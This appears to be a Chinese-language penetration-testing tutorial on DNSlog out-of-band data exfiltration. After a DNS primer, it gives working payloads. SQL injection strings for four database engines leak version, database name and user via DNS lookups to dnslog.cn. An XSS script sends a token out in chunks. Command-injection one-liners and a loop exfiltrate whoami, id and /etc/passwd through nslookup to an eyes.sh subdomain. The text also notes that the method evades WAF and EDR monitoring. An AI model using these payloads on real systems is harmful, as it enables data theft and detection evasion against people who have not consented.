DNSlog在漏洞挖掘中的妙用
字数 3017 2025-09-04 23:22:12
DNSlog在漏洞挖掘中的高级应用指南
1. DNS基础概念
1.1 DNS定义与作用
DNS(Domain Name System)是互联网的核心基础设施,主要功能是将域名(如www.example.com)转换为IP地址(如1.1.1.1)。它充当"翻译官"角色,让用户通过易记的域名访问网络资源。
1.2 DNS协议特性
- 正向解析:域名 → IP地址(最常见)
- 反向解析:IP地址 → 域名(常用于日志分析、邮件验证等)
1.3 DNS解析流程
- 本地解析:
- 检查本地DNS缓存
- 查阅hosts文件(C:\Windows\System32\drivers\etc\hosts)
- DNS服务器解析:
- 查询配置的DNS服务器(如8.8.8.8)
- 采用分层解析机制(根→TLD→权威DNS)
1.4 DNS服务器层级
- 根DNS服务器:
- 全球仅13组(命名为A到M)
- 不直接解析域名,但知道TLD服务器的位置
- TLD服务器:
- 管理特定后缀域名(如.com、.net、.cn)
- 告知权威DNS服务器的位置
- 权威DNS服务器:
- 由域名拥有者设置
- 提供域名解析的最终答案
- 本地DNS服务器:
- 如8.8.8.8或114.114.114.114
- 递归查询并将结果返回给用户
2. DNSlog原理与优势
2.1 DNSlog定义
DNSlog平台是一个权威DNS服务器+日志记录系统,负责特定域名的解析并记录所有对该域名的DNS请求。
2.2 工作原理
- 用户生成随机子域名(如
1.CMCCAdmin.eyes.sh) - 递归DNS发起迭代查询(根→TLD→权威DNS)
- DNSlog平台捕获请求并记录子域名
2.3 关键优势
- 绕过HTTP限制:DNS解析发生在HTTP请求之前,即使HTTP被阻断,DNS请求仍可能成功
- 隐蔽性强:不易被WAF、EDR等安全设备检测
- 无回显场景适用:适用于盲注、盲RCE等无回显漏洞
3. DNSlog在漏洞挖掘中的应用
3.1 适用场景
- 目标存在漏洞但无回显(盲注、盲RCE、XXE等)
- 目标禁用HTTP通信/外带(CSP限制、XSS被sandbox等)
- 需要绕过日志审计、WAF、EDR
3.2 SQL注入数据外带
3.2.1 多线程环境下的优势
当目标采用多线程异步处理时,传统时间盲注可能失效,DNSlog成为有效解决方案。
3.2.2 各数据库Payload示例
| 数据库 | 利用前提 | POC(验证外带) | 数据外带Payload示例 |
|---|---|---|---|
| MySQL | 1. Windows系统 2. LOAD_FILE()可用(需secure_file_priv=''且有FILE权限) |
SELECT LOAD_FILE('\\\\test.dnslog.cn\\abc'); |
SELECT LOAD_FILE(CONCAT('\\\\',HEX(@@version),'.dnslog.cn\\x')); |
| MSSQL | 1. SA权限 2. 启用xp_dirtree存储过程 |
DECLARE @h VARCHAR(50)='\\\\test.dnslog.cn\\abc';EXEC master..xp_dirtree @h; |
DECLARE @h='\\\\'+master.dbo.fn_varbintohexstr(CONVERT(VARBINARY(30),DB_NAME()))+'.dnslog.cn\\x';EXEC xp_dirtree @h; |
| Oracle | 1. 网络ACL权限 2. 启用UTL_INADDR或UTL_HTTP |
SELECT UTL_INADDR.get_host_address('test.dnslog.cn') FROM dual; |
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT RAWTOHEX(SYS_CONTEXT('USERENV','CURRENT_USER')) |
| PostgreSQL | 1. 超级用户权限 2. 启用COPY TO PROGRAM(默认禁用) |
COPY (SELECT 'test') TO PROGRAM 'ping test.dnslog.cn'; |
COPY (SELECT '') TO PROGRAM 'nslookup ' |
3.3 XSS数据外带
当目标站点禁止HTTP外带时,DNSlog成为XSS数据外带的有效方式。
3.3.1 示例Payload
<svg>
<script>
const token = xxxx; //替换为要外带的字段
const encodedToken = encodeURIComponent(token);
const domain = 'xxx.eyes.sh'; //dnslog地址要换自己的
const maxChunkSize = 60;
for (let i = 0; i < encodedToken.length; i += maxChunkSize) {
const chunk = encodedToken.substring(i, i + maxChunkSize);
const url = `http://${i}-${chunk}.${domain}`;
new Image().src = url;
}
</script>
</svg>
3.4 RCE命令回显外带
3.4.1 基础命令
ping `whoami`.CMCCAdmin.eyes.sh
host $(whoami).CMCCAdmin.eyes.sh
nslookup $(whoami).CMCCAdmin.eyes.sh
3.4.2 编码传输
host $(id | base64).CMCCAdmin.eyes.sh
host $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
nslookup $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
3.4.3 分块传输示例
cat /etc/passwd | while read line; do
echo -n "$line" | xxd -p -c30 | while read hex_chunk; do
nslookup "${hex_chunk}.CMCCAdmin.eyes.sh"
done
done
4. DNSlog的局限性及解决方案
4.1 主要限制
- 标签长度限制:每个标签(点与点之间的部分)不超过63个字符
- 总长度限制:完整域名(FQDN)不超过255个字符
4.2 解决方案:分块传输
对于大数据传输,可采用分块策略:
- 将数据分割为多个小段
- 每段单独传输
- 接收端重组数据
4.3 编码建议
对于特殊字符(#、@、'、"等),应采用编码传输:
- 十六进制编码(HEX)
- Base64编码
- URL编码
5. 实战技巧
5.1 数据外带基本流程
- 获取可控的代码执行环境(XSS、命令注入等)
- 读取敏感变量(cookie、token、凭据等)
- 将数据拼接到DNSlog域名的子域中
- 触发解析实现数据外带
5.2 分块传输实现(MySQL示例)
对于大数据查询(如select session from test where id=1),使用concat、substring等函数实现分块传输。
6. 总结
DNSlog作为一种强大的数据外带技术,在多种漏洞挖掘场景中展现出独特优势。掌握其原理和应用方法,能够帮助安全研究人员在受限环境下有效验证和利用漏洞。随着安全防御措施的不断加强,DNSlog技术也将持续演进,成为渗透测试和漏洞挖掘中不可或缺的工具之一。